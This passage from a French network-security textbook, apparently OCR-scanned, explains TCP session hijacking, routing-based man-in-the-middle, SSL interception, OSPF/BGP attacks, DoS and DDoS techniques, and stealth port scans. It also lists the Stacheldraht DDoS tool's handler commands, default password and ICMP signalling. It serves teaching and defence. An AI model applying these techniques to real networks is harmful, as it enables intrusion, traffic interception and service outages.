termes d'adresses IP, A et B sont reellement en relation l'une avec l'autre (voir 
figure 1.19). 



Figure 1.19 
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Relais applicatif. La machine du pirate assure l'echange entre les deux machines A et 
B. A parle avec la machine du pirate, laquelle parle avec B. A et B n'echangent jamais 
de donnees directement. Cette methode est necessaire pour les attaques vers SSL, par 
exemple (voir figure 1.20). 



Figure 1.20 
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Hijacking. La machine du pirate utilise la session engagee entre les deux machines A 
et B afin que ce soit elle (la machine du pirate) qui soit en session avec la machine B. 
A perd la session avec B, et la machine du pirate continue la session engagee par A sur 
B (voir figure 1.21). 
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Figure 1.21 
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Le detournement (hijacking) des sessions TCP permet de rediriger un flux TCP en outre- 
passant les authentiflcations necessaires a l'etablissement des sessions (Telnet, 
FTP, etc.). Cette attaque porte de maniere plus specifique sur 1' analyse des numeros de 
sequences et des numeros d'acquittements relatifs aux paquets TCP. 

La premiere etape consiste a ecouter le trafic reseau entre deux systemes et a analyser les 
numeros de sequences et d'acquittements, ainsi que les indicateurs TCP, a l'aide d'un 
sniffer tel que tcpdump, par exemple. 

Les traces fournies par tcpdump sont de la forme : 

src > dst : flags data-seqno ack window urgent 

• src et dst sont les adresses IP source et destination avec les ports associes. 

• f 1 ags est la combinaison des indicateurs TCP S (SYN), F (FIN), P (PUSH), etc. 

• data-seqno est constitue de numeros de sequences separes par le caractere » : ». Les 
numeros de sequences sont utilises par TCP pour ordonner les donnees revues. 

• ack est le numero de sequence destine a informer l'expediteur de la bonne reception 
des donnees. 

• wi ndow est la taille du tampon TCP de reception. 

• urgent indique si le drapeau URGENT est positionne. 

Les traces tcpdump relatives a l'etablissement d'une connexion rlogin entre le systeme A 
(systeme_a) et le systeme B (systeme_b) sont de la forme suivante : 



systeme_a 
systeme_b 
systeme_a 
systeme_a 
systeme_b 
systeme_a 
systeme_b 
systeme_b 
systeme_b 



1023 > systeme_b. login 
login > systeme_a.l023 
1023 > systeme_b. login 
1023 > systeme_b. login 
login > systeme_a.l023 
1023 > systeme_b. login 
login > systeme_a.l023 
login > systeme_a.l023 



S 768512 :768512(0) win 4096 

S 947648 :947648(0) ack 768513 win 4096 

. ack 1 win 4096 

P 1:2(1) ack 1 win 4096 

. ack 2 win 4096 

P 2:21(19) ack 1 win 4096 

P 1:2(1) ack 21 win 4077 

P 2:3(1) ack 21 win 4077 urg 1 



login > systeme_a.l023: P 3:4(1) ack 21 win 4077 urg 1 



La premiere ligne indique que systeme_a initie 1' envoi de paquets TCP a partir du 
port 1023 vers systeme_b sur le port du rlogin. Le S indique que l'indicateur TCP SYN est 
positionne et que le numero de sequence est egal a 768512 et qu'il n'y a pas de donnees. 

systeme_b repond par un SYN + ACK (ligne 2), et systeme_a renvoie un ACK pour 
conflrmer la connexion (ligne 3). Les autres lignes montrent les echanges de messages 
entre systeme_a et systeme_b avec remission de donnees. 
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L'attaque par hijacking d'une session TCP cree un etat de desynchronisation de chaque 
cote de la connexion TCP, permettant le vol de session par un pirate. 

Une connexion est desynchronisee lorsque le numero de sequence du prochain octet 
envoye par systeme_a est different du numero de sequence du prochain octet a recevoir 
par systeme_b. Reciproquement, il y a desynchronisation lorsque le numero de sequence 
du prochain octet envoye par la machine systeme_b est different du numero de sequence 
du prochain octet a recevoir par systeme_a. 

Concretement, lorsqu'un pirate avec une machine systeme_c veut voler une session 
Telnet etablie entre systeme_a et systeme_b, il procede de la fa^on suivante (voir 
figure 1.22) : 

l.Le pirate (systeme_c) sniffe le trafic Telnet (port TCP 23) entre systeme_a et 
systeme_b. 

2. Une fois qu'il estime que systeme_b s'est s'authentifle aupres du service Telnet de la 
machine systeme_b, il desynchronise la machine systeme_a par rapport a systeme_b 
en forgeant un paquet avec comme adresse IP source celle de systeme_a et comme 
numero d'acquittement TCP celui attendu par systeme_b. 

3. systeme_b accepte ce paquet et permet au pirate de s'inserer dans la session preala- 
blement etablie par systeme_a. 

Si systeme_a envoie un paquet a systeme_b, celui-ci n'est pas accepte du fait que le 
numero de sequence n'est pas celui attendu par systeme_b. Cette attaque peut alors 
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engendrer une serie d' envois de paquets ACK entre systeme_a et systeme_b, qui les refu- 
sent tous deux du fait de la desynchronisation du numero de sequence. 

Pour pallier ce probleme dit du ACK storm, systeme_c peut utiliser l'attaque ARP spoo- 
fing vers systeme_a pour lui affirmer que l'adresse IP de systeme_b correspond a 
l'adresse MAC de systeme_c. 

Attaque man-in-the-middle par modification du routage 

Une des methodes permettant a un pirate de se placer dans la configuration de rhomme 
au milieu repose sur la modification du routage. 

Par diverses methodes, selon le protocole de routage vise, le pirate peut influencer le 
comportement du reseau afin que les flux de celui-ci transitent par son ordinateur. 

Modification par routage a la source 

Le routage a la source vise a forcer un routage particulier pour un echange de donnees. 
Son principe de fonctionnement est des plus simple : les paquets sont envoyes avec le 
chemin qu'ils doivent emprunter. 

Prenons l'exemple illustre a la figure 1.23 : 

l.Une machine A echange des donnees avec une machine B. Normalement, cet 
echange de flux se fait par le biais des routeurs 1 et 2 (ligne en pointilles). 

2. L'agresseur envoie ses paquets vers la machine B en usurpant l'adresse IP source de 
la machine A et en utilisant un routage a la source. 

3. La machine B re^oit les donnees et renvoie les reponses via le chemin precise dans le 
routage a la source. 

4. La machine de l'agresseur re^oit les donnees comme les aurait revues la veritable 
machine A. 



Figure 1.23 
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Modification par ICMP redirect 

Une variante de l'attaque precedente consiste a utiliser le type redirect du protocole 
ICMP. 



Le principe de fonctionnement de cette attaque est le suivant (voir figure 1.24) : 
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1. Une machine A echange des donnees avec une machine B. 

2. Normalement, cet echange de flux s'effectue par le biais des routeurs 1 et 2 (ligne en 
pointilles). 

3. L'agresseur s'installe entre les routeurs 3 et 4. 

4. II convainc le routeur 1 que le meilleur chemin consiste a passer par le routeur 3 en 
lui envoyant des paquets ICMP redirect. 

5. Le routeur 1 envoie les paquets destines a la machine B via le routeur 3. 

6. L'agresseur est place en goulet d'etranglement entre les routeurs 3 et 4. 



Figure 1.24 
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Dans des variantes de cette attaque, la machine de l'agresseur assure elle-meme la fonc- 
tion de routage a la place du routeur 3 ou fait croire a la machine B que sa machine est le 
meilleur chemin. 



Attaque man-in-the-middle sur le chiffrement SSL 

Dans les attaques sur le chiffrement SSL, le trafic vers le port SSL (HTTPS sur le 
port 443 TCP) est deroute de maniere transparente vers la machine du pirate, cette 
derniere assurant les fonctions d'un serveur HTTPS (HyperText Transfer Protocol 
Secure sockets). 

Le principe de fonctionnement de cette attaque est le suivant (voir figure 1.25) : 

1. La machine client A se connecte au serveur pirate. 

2. Ce dernier lui fournit un certificat apparemment digne de confiance (surtout lorsqu'il 
est accepte par un navigateur ou un utilisateur trop confiant). 

3. Le serveur HTTPS du pirate, qui assure toutes les fonctions d'un relais applicatif, 
re^oit les demandes de A de maniere chiffree. 

4. Le serveur du pirate les dechiffre et les reachemine vers le serveur B (la machine 
pirate s'est connectee au service HTTPS du serveur B et simule la connexion de la 
machine A). 
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Le tunnel HTTPS semble techniquement irreprochable, sauf qu'il n'y a pas un tunnel 
entre A et B mais deux : un premier entre le client A et le serveur sur le relais pirate et un 
second entre le client relais pirate et le serveur B. Le relais pirate peut done a loisir reco- 
pier ou modifier les donnees en transit malgre la sensation de chiffrement qu'a le client A. 

Une telle attaque ne peut fonctionner s'il existe une complicite entre A et B, par le biais 
d'une cle privee, par exemple. 



Figure 1.25 
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Attaques permettant de modifier le routage reseau 

Tous les protocoles de routage ont pour objectif de maintenir les tables de routage du 
reseau dans un etat integre et coherent. Pour y parvenir, les protocoles diffusent des infor- 
mations de routage aux autres systemes du reseau afin de transmettre les modifications 
des tables de routage. Ces protocoles receptionnent en contrepartie les informations de 
routage d' autres systemes du reseau afin de mettre a jour les tables de routage. 

Dans les premiers grands reseaux, les tables de routage etaient statiques et done mainte- 
nues a jour par des techniciens de bout en bout. De nos jours, les mises a jour des tables 
de routage et le calcul du meilleur chemin sont automatiquement propages sur le reseau 
par les protocoles de routage. 

IGP (Interior Gateway Protocol) et EGP (Exterior Gateway Protocol) sont les deux 
grandes families de protocoles de routage dans les reseaux IP. Un reseau de routage est 
decoupe generalement en systemes autonomes, dits AS (Autonomous System). Dans 
un systeme autonome, le protocole de routage utilise est de type IGP. Pour les echanges 
de routage entre systemes autonomes differents, le protocole de routage utilise est de 
type EGP. 

Sachant que toute attaque ou perturbation du routage peut impacter directement la dispo- 
nibilite du reseau et de ses services, il est primordial de considerer les protocoles de 
routage comme des elements-cles de la securite d'un reseau. D'autant qu'il est aussi 
possible de detourner du trafic par le routage a des fins de vol d' information. 



Attaques par OSPF (Open Shortest Path First) 

Le protocole OSPF (Open Shortest Path First) est un protocole de routage de type IGP 
permettant de gerer les routes internes a un AS. 
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Attaque du numero de sequence maximal d'une annonce 

Dans les specifications d'OSPF v2, le champ reserve pour le numero de sequence est un 
entier signe de 32 bits utilise pour detecter les annonces vieilles ou dupliquees. 
Lorsqu'un routeur re^oit un LSA (Link State Advertisement), la valeur du numero de 
sequence est comparee a celle de 1' annonce en cours afin de savoir lequel est le plus 
recent. Si les valeurs sont differentes, 1' annonce avec le numero de sequence le plus eleve 
est conservee. 

Un routeur utilise 0x80000001 comme valeur de depart lorsqu'il envoie un LSA (la 
valeur 0x80000000 etant reservee), puis il incremente le numero de sequence d'une unite 
a chaque nouvelle annonce envoyee. 

En theorie, le LSA avec la valeur maximale devrait etre purge du domaine de routage. 
Malheureusement, du fait de bogues d' implementation, ce n'est pas le cas. Un pirate qui 
envoie un LSA avec un numero de sequence maximal provoque l'ajustement du routage 
selon les informations fournies dans le LSA. De plus, toutes les mises a jours suivantes 
sont ignorees par les routeurs. 

Attaque du numero de sequence d'une annonce 

Comme nous l'avons vu precedemment, selon la valeur du numero de sequence d'une 
annonce, le routeur considere toujours l'annonce la plus recente. 

Un pirate peut done envoyer une annonce avec un numero de sequence superieur a celui 
de l'annonce en cours en ecoutant le reseau. Le reseau ajuste alors son routage en fonc- 
tion des informations fournies dans cette fausse annonce. 



Attaque par BGP (Border Gateway Protocol) 

BGP (Border Gateway Protocol) est un protocole de routage de type EGP permettant de 
gerer les routes externes d'un AS. II s'agit du protocole utilise sur Internet pour echanger 
les routes entre les differents AS constituant ce reseau. 

Un des problemes de securite engendres par l'avenement de l'AS 7007 en 1997 a ete 
qu'un routeur a publie des routes qui ne lui appartenaient pas et a fini par attirer vers lui 
tout le trafic Internet. La consequence a ete tout simplement un deni de service de 
1' ensemble du reseau Internet. 

Le protocole BGP n'a pas ete con^u a l'origine de maniere securisee. II est done possible, 
par le biais de diverses attaques, d'injecter, de modifier ou d'impacter d'une maniere ou 
d'une autre un processus de routage. 

De maniere generique, si un routeur publie des routes qui ne lui appartiennent pas, il peut 
engendrer deux types de situations : 

• Un deni de service sur le veritable proprietaire des routes, tel qu'une entreprise. Dans ce 
cas, e'est l'integralite des routes qui devient inaccessible depuis Internet, et non simple- 
ment quelques systemes. II s'agit alors d'une attaque de type black hole, ou trou noir. 
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Permettre a un pirate de se placer dans la situation de l'homme au milieu. Entre deux 
AS differents, generalement plusieurs routeurs sont connectes arm d'echanger non 
seulement le traflc reel, mais aussi les annonces de routes. Ces routeurs constituent 
done des cibles de choix pour des attaques visant a creer la situation de 1'homme au 
milieu. 



Attaques permettant de mettre le reseau en deni de service 

Le deni de service, ou DoS (Denial of Service), est une attaque qui vise a rendre indispo- 
nible un service, un systeme ou un reseau. Ces attaques s'appuient generalement sur une 
faiblesse d' implementation, ou bogue, ou sur une faiblesse d'un protocole. 

Les premieres attaques par deni de service sont apparues entre 1998 et Tan 2000. Elles 
visaient de grands sites Internet (Yahoo, eBay, eTrade, etc.). Le site Yahoo, a ete attaque 
en fevrier 2000 et a ete inonde (flood) sous 1 Go de donnees en quelques secondes, les 
donnees provenant d'au moins cinquante points reseau differents. 

Attaque par inondation 

L'inondation est la methode la plus classique pour empecher un reseau d'assurer sa mission. 
Son principe de fonctionnement est le suivant : 

• Une ou plusieurs machines inondent le reseau avec des paquets reseau arm de saturer 
la bande passante de celui-ci. 

• Une fois que toute la bande est occupee, les autres machines ne peuvent plus travailler, 
ce qui genere une situation de deni de service. 

L'inondation peut recourir a differentes methodes. La plus classique est l'inondation ping 
(Ping flooding), une machine envoy ant des paquets ping ICMP request et attendant en 
reponse un paquet ICMP reply. Sans mention d'un delai pour l'obtention de la reponse, 
la machine envoie ses paquets aussi vite qu'elle le peut, saturant ainsi le reseau. 

Attaques smurf et fraggle par amplification de l'inondation 

Les attaques smurf et fraggle sont des variantes de la precedente qui s'appuient sur une 
faiblesse de configuration des routeurs. 

Ces techniques consistent a inonder le reseau avec des ping qui n'utilisent que des adres- 
ses de broadcast. Pour un paquet envoye, toutes les machines d'un reseau repondent, ce 
qui augmente la saturation du reseau, comme l'illustre la figure 1.26. 

Du fait de 1' envoi des paquets ICMP avec une fausse adresse source vers une adresse de 
broadcast, chaque machine appartenant au reseau couvert par le broadcast repond aux 
systemes victimes ou aux systemes fictifs. Comme le pirate n' attend pas de traflc retour, 
il peut bombarder un ensemble d'adresses de broadcast et generer un traflc important par 
phenomene d' amplification. 
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Figure 1.26 
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La difference entre l'attaque smurf et l'attaque fraggle est que cette derniere utilise le 
protocole UDR 

Attaque par inondation SYN 

La technique d' inondation SYN est identique a celle du balayage SYN, a la difference 
pres qu'elle est utilisee a des fins de deni de service. 

Nous avons vu que le principe du balayage semi-ouvert consistait a ce que le client ne 
termine pas la session TCP par 1' envoi d'un paquet RST. Ainsi, le serveur reste dans un 
etat intermediate, dans lequel la session n'existe pas reellement puisqu'elle est en cours 
d'etablissement. Dans cet etat, le serveur doit reserver des ressources (reseau, memoire, 
CPU, etc.) pour le traitement de la session TCP et attendre la fin du handshake. 

Tous les serveurs supportent un nombre maximal de sessions TCP en cours. Lorsqu'une 
session est terminee, les ressources associees a la session sont remises a disposition du 
systeme d' exploitation. Lorsque la session n'est pas encore etablie, le systeme prend la 
peine de faire patienter les paquets manquants, estimant qu'ils sont simplement retardes 
par le reseau. Ce delai d'attente pour passer les differents etats de liberation de la session 
est parametrable mais prend generalement une bonne minute. 

Ces differentes etapes sont illustrees a la figure 1.27. 

L' envoi de paquets SYN par un pirate vers un serveur, une operation tres rapide puisque 
le pirate n' attend pas de reponse de celui-ci, engendre une saturation des ressources 
reseau de la victime, laquelle ne peut plus des lors assurer sa mission. 



Attaques sur les bogues des piles IP/TCP 

Les piles IP/TCP developpees par differents constructeurs ou fournisseurs de services 
manifestent des differences de comportement malgre les definitions des RFC et contien- 
nent de multiples faiblesses, qui peuvent etre exploitees par des attaques bien ciblees. 

Comme il est theoriquement impossible de verifier 1' absence de bogues dans un 
programme congu avec les langages de programmation modernes, il existe une forte 
probabilite que des bogues permettent a des pirates de gagner des privileges. 
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Figure 1.27 
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Les principales attaques qui s'appuient sur les erreurs de programmation associees aux 
piles TCP/IP sont le ping de la mort, le baiser de la mort, le win nuke, l'attaque land et 
l'attaque teardrop. 

Le ping de la mort consiste a envoy er une suite de fragments d'une requete de type echo 
ICMP. Une fois a nouveau assembles par la pile IP/TCP du systeme cible, ces fragments 
forment un paquet d'une taille superieure a la taille maximale autorisee (65 507 octets) et 
peuvent faire deborder les variables internes, provoquant un comportement anormal du 
systeme (voir figure 1.28). 



Figure 1.28 
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Le baiser de la mort consiste a envoyer un paquet IGMP (Internet Group Management 
Protocol) mal construit, mettant les machines Windows en refus de service. 

Le win nuke envoie un paquet TCP mal construit avec des donnees OOB (Out Of Band), 
mettant les machines Windows en refus de service. L' impact de l'attaque peut provoquer 
des comportements indesirables du systeme cible. 
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L'attaque de type land demande une ouverture de session TCP avec l'adresse source du 
paquet egale a l'adresse destination et le port source egal au port destinataire. Cette atta- 
que utilise principalement le port 139 TCP (NetBIOS Session) arm de viser le systeme 
d' exploitation Windows. L'impact de l'attaque peut provoquer des comportements inde- 
sirables du systeme cible. 

L'attaque de type teardrop envoie un paquet fragmente de telle fa^on que les en-tetes du 
second paquet ecrasent ceux du premier, affolant la pile TCP/IP. Cette attaque a ete 
con^ue initialement pour les paquets ICMP fragmentes, mais de nombreuses variantes 
ont ete developpees depuis pour fonctionner avec n'importe quel type de protocole IP. 
L'impact de l'attaque peut provoquer des comportements indesirables du systeme cible. 

Attaques par deni de service distribue (DDoS) 

L'attaque DDoS (Distributed Denial of Service) est un derive de la precedente sous une 
forme distribute, comme l'illustre la figure 1.29. 



Figure 1.29 
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La premiere etape consiste a penetrer par diverses methodes des systemes dits handlers, 
ou maitres {masters), et agents, ou esclaves {slaves). Le pirate controle ensuite directe- 
ment un ensemble de systemes handlers, qui controlent eux-memes un ensemble de 
systemes agents. La derniere etape consiste pour le pirate a declencher son attaque vers 
un ou plusieurs systemes cibles donnes. Cet ordre d' attaque aura ete donne par les syste- 
mes handlers, qui auront eux-memes re£u cet ordre du pirate. 

Parmi les nombreuses attaques DDoS, citons TFN (Tribe Flood Network), historique- 
ment la premiere, et Stacheldraht, qui chiffre les ordres de commandes echanges entre les 
handlers et les agents dans le champ donnees des paquets ICMP et que nous decrivons 
plus en detail ci-apres. 

Ces attaques ont fait des emules, et d'autres attaques sont apparues, telles que Trinoo, qui 
s'appuie sur UDP pour les communications des ordres entre handlers et agents, et TFN2K, 
une version entierement revue de TFN, qui introduit des phenomenes de generation alea- 
toire des ports utilises pour les communications des ordres entre les handlers et les agents, 
ainsi qu'un phenomene aleatoire dans le lancement des attaques vers les systemes cibles. 
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L'attaque Stacheldraht 

Apparue en 1999, l'attaque Stacheldraht s'appuie sur le code source de TFN mais y 
apporte quelques variantes. 

Comme TFN, Stacheldraht est constitute de programmes maitres, ou handlers, et escla- 
ves, ou agents. Les attaques par deni de service sont lancees par le biais d'attaques ICMP 
flooding, SYN flood, UDP flood, smurf, etc. 

L'une des faiblesses de TFN etant que les communications entre les programmes ne sont 
pas chiffrees, Stacheldraht chiffre la communication. 

La phase initiale de l'attaque consiste a penetrer un grand nombre de systemes et a y propa- 
ger les programmes handlers et agents par le biais d'une vulnerability quelconque. En 1999, 
par exemple, des vulnerabilites de type buffer overflow avaient ete utilisees pour penetrer des 
systemes Solaris sur les services de type RPC tels que statd, cmsd et ttdbserverd. 

Comme explique precedemment, l'objectif de ces attaques est de creer une hierarchie de 
handlers et d' agents afin d'attaquer les systemes cibles par deni de service. 

La figure 1.30 illustre 1' architecture de ces attaques par deni de service distribue. 



Figure 1.30 
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Le pirate (client) controle un ou plusieurs handlers, et chaque handler controle plusieurs 
agents. Les attaques par deni de service sont coordonnees sur les plages d'adresses IP 
donnees par le handler responsable des agents. 

Les communications entre le client et le handler s'effectuent par le biais de communica- 
tions chiffrees utilisant un algorithme symetrique. Plus precisement, le client se connecte 
d'abord a un handler — une adresse IP sufflt — , et un mot de passe est demande au 
client. Le client entre le mot de passe par defaut, sicken, qui est crypte localement par le 
biais du programme Unix crypt. Le mot de passe est alors envoye au handler. La commu- 
nication entre le client et le handler est egalement chiffree a l'aide de 1' algorithme Blow- 
fish avec la cle de chiffrement symetrique. 

Les commandes disponibles sur un handler sont les suivantes : 

.help 

Imprime l'aide associee aux commandes. 

.kill all 

Tue tous les agents actifs. 

.madd ipl[:ip2[:ipN]] 

Ajoute les adresses IP suivantes dans la liste des systemes cibles. 

. md i e 

Envoie une requete pour tuer tous les agents. 

.mdos 

Lance une attaque DOS. 

.micmp ipl[:ip2[:ipN]] 

Lance une attaque ICMP flooding sur la liste des systemes donnes. 

.ml i st 

Imprime la liste des systemes cibles subissant une attaque DOS. 

.mping 

Ping les agents pour verifier qu'ils sont vivants. 

.mstop ipl[:ip2[:ipN]] 
.mstop all 

Arrete l'attaque sur les systemes cibles. 

.msyn ipl[:ip2[ :ipN]] 

Lance une attaque SYN flooding pour la liste des systemes donnes. 

.mtimer seconds 

Fixe la duree de l'attaque. 

.mudp ipl[:ip2[:ipN]] 

Lance une attaque UDP flooding pour la liste des systemes donnes. 
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.setisize 

Definit la tai lie des paquets ICMP pour le flooding (par defaut 1024). 

.setusize 

Definit la tail 1 e des paquets UDP pour le flooding (par defaut 1024). 

.showalive 

Montre les agents vivants. 

.showdead 

Montre tous les agents morts. 

.sprange lowport-highport 

Permet de fixer le range des ports utilises lors des attaques de SYN flooding 
lowport 0, highport 140). 

La communication entre le handler et un agent s'effectue a l'aide de ICMP echo-reply 
sur une connexion au port TCP 65000. 

La premiere etape, lorsqu'un agent demarre, consiste a lire un fichier contenant l'adresse 
IP du ou des handlers dont il depend. Sinon, il essaye les adresses IP 1.1.1.1 et 127.0.0.1. 
Une fois la liste determinee, il envoie un paquet ICMP echo-reply contenant dans le 
champ donnees un ID=666 avec la phrase skillz. Si un handler re^oit ce paquet, il repond 
avec un paquet ICMP echo-reply contenant dans le champ donnees un ID=667 avec la 
phrase ficken. 

Dans un second temps, 1' agent envoie un paquet ICMP echo-reply avec une adresse 
source fausse (3.3.3.3) contenant dans le champ donnees un ID=666 et l'adresse IP du 
systeme sur lequel il se trouve. Ce test permet de verifier que des attaques par deni de 
service peuvent etre lancees. 

Une fois que le handler re^oit le message, il repond a 1' agent avec l'adresse contenue 
dans le champ donnees du paquet ICMP echo-reply et envoie alors un paquet ICMP 
echo-reply avec un ID=1000 dans le champ donnees. 

Une fois la communication etablie, de nombreux autres types de paquets peuvent etre 
echanges afin de transmettre les commandes entre le handler et 1' agent, que nous ne 
detaillerons pas davantage. 

Les faiblesses des protocoles sont done des vecteurs d'attaque qui peuvent etre exploites 
de diverses manieres. De plus, les protocoles reseau n'ayant prevu aucun mecanisme 
d'authentification veritable, ils subissent des attaques qui s'appuient sur ces faiblesses 
d' authentification. 

Attaques derivees des attaques smurf et fraggle 

Comme explique precedemment, les attaques smurf et fraggle peuvent etre utilisees de 
maniere distribute pour attaquer des sites a tres forte capacite reseau ou nuire a un 
ensemble de reseaux. II suffit pour cela d'utiliser comme adresse source une adresse de 
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broadcast d'un des reseaux auquel le pirate veut nuire et de viser quantite de reseaux, 
lesquels ampliflent l'attaque. 

Imaginons qu'un pirate ne dispose que de 512 Kbit/s de bande passante montante. II peut 
envoyer environ 960 paquets ICMP de 64 octets par seconde. Ces paquets etant destines 
a des reseaux differents, ces derniers renvoient un total de 9 600 reponses, soit une 
moyenne de dix reponses par reseau. 

Chaque reponse est en elle-meme une attaque smurf, qui engendre une reponse de la part 
du reseau dont l'adresse de broadcast source a ete usurpee. Si ce reseau dispose, par 
exemple, de dix machines, il renvoie 96 000 paquets en reponse, soit une bande passante 
d'environ 50 Mbit/s. 



Autres formes d'attaques 

L'acces physique aux equipements reseau permet de prendre la main en tant qu'adminis- 
trateur sur pratiquement tous les systemes actuels. Cela peut impacter fortement le reseau 
si un pirate en proflte pour modifier directement les tables de routage internes. 

La copie des configurations des equipements reseau est une attaque redoutable, qui 
permet au pirate de reconstituer tout le reseau logique ainsi que les protections mises en 
place. La configuration des equipements reseau est, par nature, une information confl- 
dentielle du reseau. 

L'ecoute electronique pour recolte d' information peut permettre de mener des attaques 
ciblees. Les diverses techniques d'ecoute disponibles actuellement permettent d'ecouter 
n'importe quel type de media. 

Le vol de secret se rencontre plus frequemment dans l'ingenierie sociale. Par exemple, 
l'agresseur entre en contact avec la personne qu'il veut usurper en se faisant passer pour 
un technicien en intervention bloque dans son travail par une demande d'authentification 
ou une permission trop forte. Pour peu qu'il soit convaincant, l'agresseur peut obtenir les 
couples compte/mot de passe ou permissions qu'il desire, voire directement ceux de 
l'administrateur systeme. 

Une variante de cette attaque consiste a obtenir un compte privilegie cree directement par 
un administrateur trouvant cette procedure plus « securisee ». . . 



En resume 

Les attaques reseau reposent sur un ensemble de faiblesses de securite touchant differents 
domaines, tels que les protocoles reseau, les implementations des piles reseau et les 
systemes d' exploitation des systemes reseau. 

Les attaques reseau touchent beaucoup d' autres protocoles, que nous n'avons pas decrits 
dans ce chapitre, tels que les protocoles VoIP (voix sur IP), qui n'implementent pas non 
plus de couche de securite et qui s'exposent en premier lieu aux attaques par usurpation 
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d'identite. Citons egalement le protocole DNS, qui subit lui aussi des attaques repetees 
pouvant mettre hors de fonctionnement les services d'un reseau. 

La mise en place de couches de securite telles que IPsec ou SSH pour creer des tunnels 
chiffres et authentifles ne met pas a l'abri d' attaques. Ces dernieres visent generalement 
les faiblesses d' implementation des piles de securite. D'autres attaques, profltant des 
faiblesses des protocoles de securite, ont permis de faire evoluer ces derniers. 

Le chapitre 2 detaille les methodes et techniques d' intrusion permettant de prendre le 
controle d'un systeme reseau. Ces attaques reposent sur les faiblesses de securite des 
systemes d' exploitation lies aux equipements reseau. 




Les attaques 
des systemes re sea u 



Nous avons detaille au chapitre precedent un ensemble d' attaques orientees reseau visant 
a exploiter des faiblesses de securite. Cependant, la prise de controle d'un systeme par un 
pirate est beaucoup plus nuisible dans l'absolu pour l'entreprise, car le pirate peut des 
lors installer des outils devastateurs sur le systeme penetre. 

Entre le moment ou le pirate peut examiner un systeme cible et celui ou il reus sit a le 
penetrer, un certain nombre d'etapes doivent etre franchies. 

Le pirate doit d'abord decouvrir les services reseau offerts par le systeme, puis estimer 
l'attrait de chacun d'eux en terme de possibilites de penetration (risque intrinseque du 
service, vulnerabilites, etc.) et enfin faire le choix de ceux qui presentent la meilleure 
chance de penetrer le systeme le plus discretement possible. 

Attaques permettant d'identifier les services reseau 

Avant toute chose, le pirate doit determiner la liste des services disponibles sur le 
systeme cible. 

Pour y parvenir, il dispose de plusieurs techniques, telles que le balayage de ports, 
comparable au balayage reseau presente au chapitre 1, la prise d'empreintes TCP/UDP/ 
ICMP/IP et 1' interrogation de services particuliers. 
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Attaques par balayage TCP 

Le balayage de ports TCP (ou liste des services) consiste a contacter tous les ports d'un 
systeme cible afin de determiner les services accessibles. II ne s'agit toutefois pas 
d'une technique d'une grande discretion, car elle peut generer des traces dans les jour- 
naux cote systeme. 

Diverses variantes permettent de renforcer la furtivite de telles activites. 

Attaque par balayage furtif 

Afin de reduire la detection des balayages TCP, les pirates s'appuient principalement sur 
des faiblesses d' implementation de la pile TCP/IP au sein du systeme. 

La premiere definition du balayage furtif a ete proposee en 1995 par Chris Klaus dans 
1' article Stealth Scanning: Bypassing Firewalls/SATAN Detectors. L'auteur y releve 
l'interet de jouer sur certains drapeaux de paquets (URG, PSH, etc.) pour realiser un 
balayage de ports discret. 
La figure 2.1 illustre le format d'un paquet TCP. 



Figure 2.1 
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Depuis la parution de cet article, les techniques de balayage ont largement evolue, 
notamment avec 1' apparition du programme Nmap, qui concentre toutes les techniques 
connues dans un meme outil simple d' utilisation. 

Attaque par balayage muet (idlescan) 

Cette attaque necessite la complicite, souvent involontaire, d'une troisieme machine. 
Cette machine est qualifiee de « muette » car elle n'a pour fonction que de capturer le 
trafic sans emettre de reponses, d'ou son nom. 

Presentee par « Antirez » dans un article du forum de securite Bugtraq, cette technique 
s'appuie sur une utilisation particuliere de la pile TCP/IP du systeme d' exploitation, mais 
egalement sur les principes du balayage SYN. 

Pour bien comprendre cette technique, il faut rappeler que tout paquet TCP avec les 
drapeaux SYN ou RST porte un numero de sequence IPID (IP Packet IDentifier) gene- 
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ralement increments a chaque paquet envoye. Le pirate utilise cette information pour 
determiner combien de paquets de ce type ont ete envoyes depuis la derniere 
connexion. 

L'attaque se deroule en trois etapes, comme l'illustre la figure 2.2 : 



Figure 2.2 
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1. Par l'envoi d'un paquet avec les drapeaux SYN/ACK, le client obtient le numero de 
sequence (IPID) de la machine muette, inclus dans le paquet avec le drapeau RST 
regu en retour. 

2. Un paquet avec le drapeau SYN usurpant l'adresse de la machine muette est envoye 
vers le port du serveur, lequel renvoie sa reponse vers la machine muette. 

3. Le client redemande a la machine muette son numero de sequence IP (IPID). S'il est 
identique, le port du serveur n'est pas en ecoute. Sinon, le port du serveur est en 
ecoute, ce qui oblige la machine muette a renvoyer une reponse avec le drapeau RST 
et done a incrementer le numero de sequence du paquet. 
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Attaque par balayage SYN/ACK 

Dans cette attaque, abandonnee par la plupart des outils de balayage de ports parce 
qu'elle engendrait trop de faux positifs, le client envoie directement au serveur un paquet 
avec les drapeaux SYN/ACK, comme s'il repondait a une demande de session en prove- 
nance de cette meme machine (voir figure 2.3). 

Le serveur repond par un paquet avec le drapeau RST si le port vise n'est pas en ecoute. 
Sinon, le paquet est simplement jete (dropped) sans qu'une reponse soit renvoyee. 



Figure 2.3 
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Serveur 




-Paquet SYN/ACK- 



Si port en ecoute, aucune reponse_ 
sinon paquet RST 




L'outil de balayage se comporte alors a 1' inverse de d' habitude : au lieu de noter les ports 
qui ecoutent, il releve les ports qui n'ecoutent pas, considerant que tous les ports qui 
n'ont pas repondu sont en ecoute. 

Attaque par balayage ACK 

Principalement dediee a la detection de regies d'equipements filtrants, cette attaque sert a 
determiner si ceux-ci sont dynamiques (stateful) ou s'ils ne savent que bloquer les 
paquets avec le drapeau SYN. 

Comme l'illustre la figure 2.4, un paquet avec le drapeau ACK est envoye vers le serveur. 
Si le port vise n'est pas filtre, un paquet avec le drapeau RST est regu en retour. Si un 
paquet ICMP « destination inaccessible » est re^u, il revele la presence d'un equipement 
filtrant qui barre le flux en retournant un message ICMP d'erreur. L' absence de reponse 
signifie egalement qu'un equipement filtrant est situe entre le client et le serveur. 



Figure 2.4 

U attaque par balayage 
ACK 



Client 



Serveur 




-Paquet ACK- 



Paquet RST = port non filtre 
-Pas de reponse ou ICMP destination- 
inaccessible = port filtre 




Attaque par balayage FIN 

Sachant qu'un paquet avec le drapeau SYN est incontournable dans l'etablissement 
d'une session TCP, ce drapeau est Tun des plus recherches par les equipements filtrants 
ou les outils de detection. 

II est possible, par exemple, de realiser un balayage au moyen de paquets avec le 
drapeau FIN, comme l'illustre la figure 2.5. Un paquet FIN est envoye vers le port du 



Les attaques des systemes reseau 




Chapitre 2 



serveur vise. Si celui-ci n'ecoute pas, un paquet RST est recu en retour. Sinon aucun 
paquet n'est recu. 



Figure 2.5 

